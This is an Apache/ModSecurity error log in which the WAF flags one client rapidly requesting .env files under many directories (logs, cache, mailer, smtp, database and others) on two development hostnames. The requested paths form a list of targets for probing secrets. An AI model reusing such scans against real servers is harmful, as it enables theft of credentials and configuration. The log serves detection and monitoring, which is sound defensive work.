[Fri Jul 17 09:14:28.345387 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/private/.env"] [unique_id "almlHLoj0IkvhSCYadmEzgAAAAQ"]
[Fri Jul 17 09:14:28.421355 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:28.443882 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /logs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/logs/.env"] [unique_id "almlHIl9vhFBGA6D8l99KAAAAAw"]
[Fri Jul 17 09:14:28.444159 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/logs/.env"] [unique_id "almlHIl9vhFBGA6D8l99KAAAAAw"]
[Fri Jul 17 09:14:28.444484 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHIl9vhFBGA6D8l99KAAAAAw"]
[Fri Jul 17 09:14:28.552795 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlHLoj0IkvhSCYadmEzgAAAAQ"]
[Fri Jul 17 09:14:28.611531 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cache/.env"] [unique_id "almlHF1_86A5R6msWNfXcQAAABI"]
[Fri Jul 17 09:14:28.611824 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cache/.env"] [unique_id "almlHF1_86A5R6msWNfXcQAAABI"]
[Fri Jul 17 09:14:28.612094 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHF1_86A5R6msWNfXcQAAABI"]
[Fri Jul 17 09:14:28.720731 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/application/.env"] [unique_id "almlHCRF0UOO1RzB5_8xRwAAAA4"]
[Fri Jul 17 09:14:28.721934 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/application/.env"] [unique_id "almlHCRF0UOO1RzB5_8xRwAAAA4"]
[Fri Jul 17 09:14:28.736690 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:28.781384 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailer/.env"] [unique_id "almlHBHlOGcokz2QIwTWYQAAAAM"]
[Fri Jul 17 09:14:28.781663 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailer/.env"] [unique_id "almlHBHlOGcokz2QIwTWYQAAAAM"]
[Fri Jul 17 09:14:28.781935 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHBHlOGcokz2QIwTWYQAAAAM"]
[Fri Jul 17 09:14:28.952693 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:28.956019 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlHCRF0UOO1RzB5_8xRwAAAA4"]
[Fri Jul 17 09:14:28.964511 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mail/.env"] [unique_id "almlHF1_86A5R6msWNfXcgAAABI"]
[Fri Jul 17 09:14:28.964816 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mail/.env"] [unique_id "almlHF1_86A5R6msWNfXcgAAABI"]
[Fri Jul 17 09:14:28.965141 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHF1_86A5R6msWNfXcgAAABI"]
[Fri Jul 17 09:14:28.974486 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:28.974600 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:28.974673 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:29.131614 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/bootstrap/.env"] [unique_id "almlHa14q1EBnanVMYGnBQAAAAk"]
[Fri Jul 17 09:14:29.132848 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/bootstrap/.env"] [unique_id "almlHa14q1EBnanVMYGnBQAAAAk"]
[Fri Jul 17 09:14:29.136592 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /email/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/email/.env"] [unique_id "almlHZBVIrrUwtEhdafUDgAAAAU"]
[Fri Jul 17 09:14:29.136857 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/email/.env"] [unique_id "almlHZBVIrrUwtEhdafUDgAAAAU"]
[Fri Jul 17 09:14:29.137107 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHZBVIrrUwtEhdafUDgAAAAU"]
[Fri Jul 17 09:14:29.303960 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /smtp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/smtp/.env"] [unique_id "almlHRHlOGcokz2QIwTWYgAAAAM"]
[Fri Jul 17 09:14:29.304235 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/smtp/.env"] [unique_id "almlHRHlOGcokz2QIwTWYgAAAAM"]
[Fri Jul 17 09:14:29.304474 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHRHlOGcokz2QIwTWYgAAAAM"]
[Fri Jul 17 09:14:29.365254 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlHa14q1EBnanVMYGnBQAAAAk"]
[Fri Jul 17 09:14:29.470654 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailing/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailing/.env"] [unique_id "almlHQ5GPQ6hs4VrfMpE9AAAAAY"]
[Fri Jul 17 09:14:29.470915 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailing/.env"] [unique_id "almlHQ5GPQ6hs4VrfMpE9AAAAAY"]
[Fri Jul 17 09:14:29.471171 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHQ5GPQ6hs4VrfMpE9AAAAAY"]
[Fri Jul 17 09:14:29.535313 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/database/.env"] [unique_id "almlHbEWOaI5pmYo9fnR2AAAAAA"]
[Fri Jul 17 09:14:29.536491 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/database/.env"] [unique_id "almlHbEWOaI5pmYo9fnR2AAAAAA"]
[Fri Jul 17 09:14:29.639052 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /notifications/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/notifications/.env"] [unique_id "almlHSRF0UOO1RzB5_8xSAAAAA4"]
[Fri Jul 17 09:14:29.639304 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/notifications/.env"] [unique_id "almlHSRF0UOO1RzB5_8xSAAAAA4"]
[Fri Jul 17 09:14:29.639514 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHSRF0UOO1RzB5_8xSAAAAA4"]
[Fri Jul 17 09:14:29.780701 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlHbEWOaI5pmYo9fnR2AAAAAA"]
[Fri Jul 17 09:14:29.806798 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /notify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/notify/.env"] [unique_id "almlHZBVIrrUwtEhdafUDwAAAAU"]
[Fri Jul 17 09:14:29.807140 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/notify/.env"] [unique_id "almlHZBVIrrUwtEhdafUDwAAAAU"]
[Fri Jul 17 09:14:29.807430 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHZBVIrrUwtEhdafUDwAAAAU"]
